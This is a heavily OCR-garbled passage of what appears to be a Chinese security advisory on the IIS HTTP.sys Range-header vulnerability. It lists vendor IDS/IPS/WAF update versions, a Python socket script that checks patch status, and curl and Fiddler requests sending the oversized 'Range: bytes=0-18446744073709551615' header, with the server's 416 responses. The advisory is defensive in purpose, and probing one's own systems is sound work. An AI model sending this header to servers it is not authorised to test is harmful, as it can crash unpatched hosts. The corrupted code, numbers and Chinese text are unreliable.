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NF 6.0.1 6.0.1496 2015/4/16 12:00:00 RSAS 6.0 V6.0RO2F00.0108  2015/4/16 18:0000
NF €.00 56.7496 2015/4/16 12:00:00 RSAS 50 051347 2015/4/16 19.00:00
IDS569 56912244 2015/4/16 13:0000 RSAS-AAS50 051130 2015/4/17 15:0000
IDS56.8 568496 2015/4/16 11:00:00 WVSS 6.0 V6.0R02F00.28 2015/4/16 18:0000
IDS56.7 56.7496 2015/4/16 11:00:00

IDS5.66 560422 2015/4/16 11:00:00

IPS569 569.12244 2015/4/16 11:00:00

IPS56.8 56.849 2015/4/16 11:00:00

IPS56.7 5.6.749 2015/4/16 11:00:00

IPS566 560422 2015/4/16 11:00:00

WAF 604 604130345  2015/4/16 11:00:00
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import socket

import random

ipAddr =" #HRIIBEfR o
hexAllIFfff = "18446744073709551615"

reql = "GET / HTTP/T.O\NAN\AN"

req = "GET / HTTP/1.1\AnHost: stuff\\nRange: bytes=0-" + hexAllFff + "\nn\An"  #ZEERHAE
i

print "[*] Audit Started"
client_socket = socketsocket(socket AF_INET, socket SOCK_STREAM)

client_socketconnect((ipAddr, 80)) HONER web PRSSEEFFEIE 20 iw[d , BITELL
SMERTD IEMLH

client_socket.send(req1)

boringResp = client_socketrecv(1024)

if "Microsoft" not in boringResp: MR web RSB 2B 1S web JRSS2E
print "*] Not [IS"
exit(0)

client_socket close()

client_socket = socketsocket(socket AF_INET, socket. SOCK _STREAM)

client_socket.connect((ipAddr, 80))

client_socketsend(req)

goodResp = client_socketrecv(1024)

if "Requested Range Not Satisfiable” in goodResp: BN EERSHRLFIEET
FEZRR | IR TEN A A -

#lLooks VULN AFEIZIR
8, Looks Patched NEFTHNT , EAEIEIRSIRE] Unexpected response

orint "[1] Looks VULN"

elif " The request has an invalid header name" in goodResp:
orint "[*] Looks Patched"

else:

orint "[*] Unexpected response, cannot discern patch status’
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Scurl v 192.168.174.140 -H "Host: irrelevant” -H "Range: bytes=0-18446744073709551615"

RREA  FELREEE , QiR SR Requested Range Not Satisfadle , NNEBBFAELLIRIR. SR RFIELF
i, DB R R SR SINERIEE W E.

_)curl —u 192.168.174.145 -H “Host: irrelevant” —H "

Range: hytes=0-18446744073789551615"
fAbout to connect{)> to 192.168.174.145 port 8O JHA>
Trvying 192.168.174.145... connected
Connected to 192.168.174.145 (192.168.174.145> port 88 (H#A)
GET ~ HITP-1.1
User—Agent: curl/s?.19.3 (id386-pc—win3d2? libcurls?.19.3 =zl1libs1.2.3
Accept: *-%
Host: irrelevant
Range: hytes=0-18446744873789551615

HTTP/1.1 416] Requested Range Not Satisfiable |
Content-Type: text-html

Last—Modified: Sat. 29 Sep 2012 B2:55:086 GMT
Accept—Ranges: bytes

ETag: "609ddfd4ed9dcdi:A"

Server: Microsoft-1I5-8.8

H-Powered-By: ASP.NET

Date: Fri,. 17 Apr 2615 1A:23:24 GMT
Content-Length: 362

Content—Range: bytes =*/1398

Connection #8 to host 192.168.174.145 left intact
Closing connection #A
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FRAASTEME htp EREEN  LAfoder TEAA , M9iE FERNIEKRE
GET http://192.168.174.145/ HTTP/1.1
Host: 192.168.174.145
Range: bytes=0-18446744073709551615
Connection: keep-alive
Cache-Control: max-age=0

Accept: text/htmlapplication/xhtml+xml.application/xml,g=0.9,image/webp,*/*,q=08

() statistics | i nspectors | # AutoResponder | [ Composer | I Fiddierscript | [] Filters | E] Log | = Timeline

Usethis pageto compose a Request. You can clone a prior request by dragging and dropping a session fromthe Web 5

Parsed |R.aw Isgabd-pad I[pm|

GET + http:/f192. 168,174,145

Host: 192.168,174.145

Range: bytes=0-18446744073709551615

Connection: keep-alive

Cache-Control: max-age=0

Accept: text/himl,application fihitml-+xml, application/xml;q=0.9,image fwebp, */*;q=0.8
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HTTP/1.1 416] Reguested Range Not Satisfiable
Content-Type: Tex m

Last-Modified: Sat, 29 Sep 2012 02:55:06 GMT
Accept-Ranges: bytes

ETag: "e&09ddfd4edsdcdi:o™

server: Microsoft-IIS /8.0

X-Powered-By: ASP.NET

pate: Fri, 17 Apr 2015 10:33:35 GMT
Content-Length: 362

Content-Range: bytes */1338

<IDOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/str
<HTML><HEAD><TITLE>Requested Range Mot Satisfiable«</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"»</HEAD>
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